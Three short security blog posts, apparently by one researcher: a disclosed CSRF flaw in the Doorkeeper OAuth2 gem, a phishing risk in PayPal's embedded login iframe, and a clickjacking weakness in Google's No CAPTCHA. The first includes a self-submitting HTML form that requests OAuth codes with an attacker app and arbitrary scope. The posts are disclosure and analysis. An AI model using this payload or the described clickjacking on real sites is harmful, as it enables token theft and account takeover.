Blatant CSRF in Doorkeeper, most popular OAuth2 gem

I read a post about CSRF on DigitalOcean (in Russian) by Sergey Belove. My first reaction was, obviously, how come? DigitalOcean is not kind of a team that would have lame "skip_before_action :verify_authenticity_token".

DigitalOcean uses Doorkeeper, the most popular OAuth Provider library for rails apps and it manages clients, tokens, scopes and validations out of box.
Then I looked into Doorkeeper's commit history... it turns out Doorkeeper's endpoints never had CSRF protection, because they inherit directly from ActionController::Base, not ApplicationController.

Which means any HTML page on the Internet can get your access_token with arbitrary scope (such as "email", "dialogs" or "withdraw_money") from any Doorkeeper-compatible Rails app you are logged in. Example:

<form action="https://cloud.digitalocean.com/v1/oauth/authorize?response_type=code" method="POST">
  <input name="client_id" value="EVIL_APP_ID" />
  <input name="redirect_uri" value="http://CALLBACK" />
  <input name="scope" value="ANY SCOPE" />
</form><script>document.forms[0].submit()</script>

This is a big deal. You must upgrade Doorkeeper NOW.

P.S. It's funny that Sergey is not a Rails developer so he simply tried to send a request without authenticity_token. Frankly, I wouldn't try that - Rails has built-in CSRF protection everywhere, why even bother? That's why.

P.S 2 It's a bit disappointing neither DigitalOcean nor Doorkeeper (Applicake?) team did announce such a severe vulnerability, so I do it for them.

New Paypal gateway UI is a disaster

Hey. I decided to get a paid plan on Github and Paypal looked like a good payment option to me. Click the blue button here:

This looks and feels really good. Lightweight elements, updated color scheme and new logo. Except one thing - how do I know this smooth and lovely popup asking for my Email and password is authorized / belongs to Paypal.com ?

"These emails warn you of account problems or other urgent issues to trick you into clicking through to a scam website. The scam website asks you to enter your user name and password or other account information. Once you do this, you've given your information to someone who might use it to do you harm"

There's no way to detect if the iframe is located on paypal.com or WeWantYourPassword.com. The best you can do (if you're into webdev) is to fire up your developer console

But as long as the attacker can detect when the user opens devtools all your efforts are futile.

This seamlessly looking UI is a major step back - we've been teaching users to trust in the address bar and nothing else, for 20 years! After a couple of successful payments with such fancy gateways they will stop caring about basic security measures.

I created a ticket here about spoofing attempt. Because I really don't want to type my Paypal password while I'm on Github.com.  How do I know Github wasn't hacked or something?

Some good news though: the Coinbase gateway had the exact issue a year ago but now they open sign-in page in a new window. Kudos!

The No CAPTCHA problem

When I read about No CAPTCHA for the first time I was really excited. Did we finally find a better solution? Hashcash? Or what?

Finally it's available and the blog post disappointed me a bit. Here's Wordpress registration page successfully using No CAPTCHA.

Now let's open it in incognito tab... Wait, annoying CAPTCHA again? But i'm a human!

So what Google is trying to sell us as a comprehensive bot detecting algorithm is simply a whitelist based on your previous online behavior, CAPTCHAs you solved. Essentially - your cookies. Under the hood they replaced challenge/response pairs with token "g-recaptcha-response". Good guys get it "for free", bad guys still have to solve a challenge.

Does it make bot's job harder? No at all. The legacy flow is still available and old OCR bots can keep recognizing.

But what about new "find a similar image" challenges? Bots can't do that!

As long as $1 per hour is ok for many people in 3rd world, bots won't need to solve new challenges. No matter how complex they are, bots simply need to get the JS code of challenge, show it to another human being (working for cheap or just a visitor on popular websites) and use the answer that human provided.

The thing is No CAPTCHA actually introduces a new weakness!

Abusing clickjacking we can make the user (a good guy) generate g-recaptcha-response for us - make a click (demo bot for wordpress). Then we can use this g-recaptcha-response to make a valid request to the victim (from our server or from user's browser).

It's pretty much a serious weakness of new reCAPTCHA - instead of making everyone recognize those images we can make a bunch of good "trustworthy" users generate g-recaptcha-response-s for us. Bot's job just got easier!

You're probably surprised, how can we use 3rd party data-sitekey on our website?

Don't be - the Referrer-based protection was pretty easy to bypass with <meta name="referrer" content="never">.

P.S. Many developers still think you need to wait a while to get a new challenge.

@homakov I've used them in the past, accuracy is about 80% and response time about 10 seconds per attempt. Still too slow for some attacks.
— Stephen de Vries (@stephendv) December 4, 2014

In fact you can prepare as many challenges as you want and then start spaming later. It's another reCAPTCHA weakness that will never be fixed.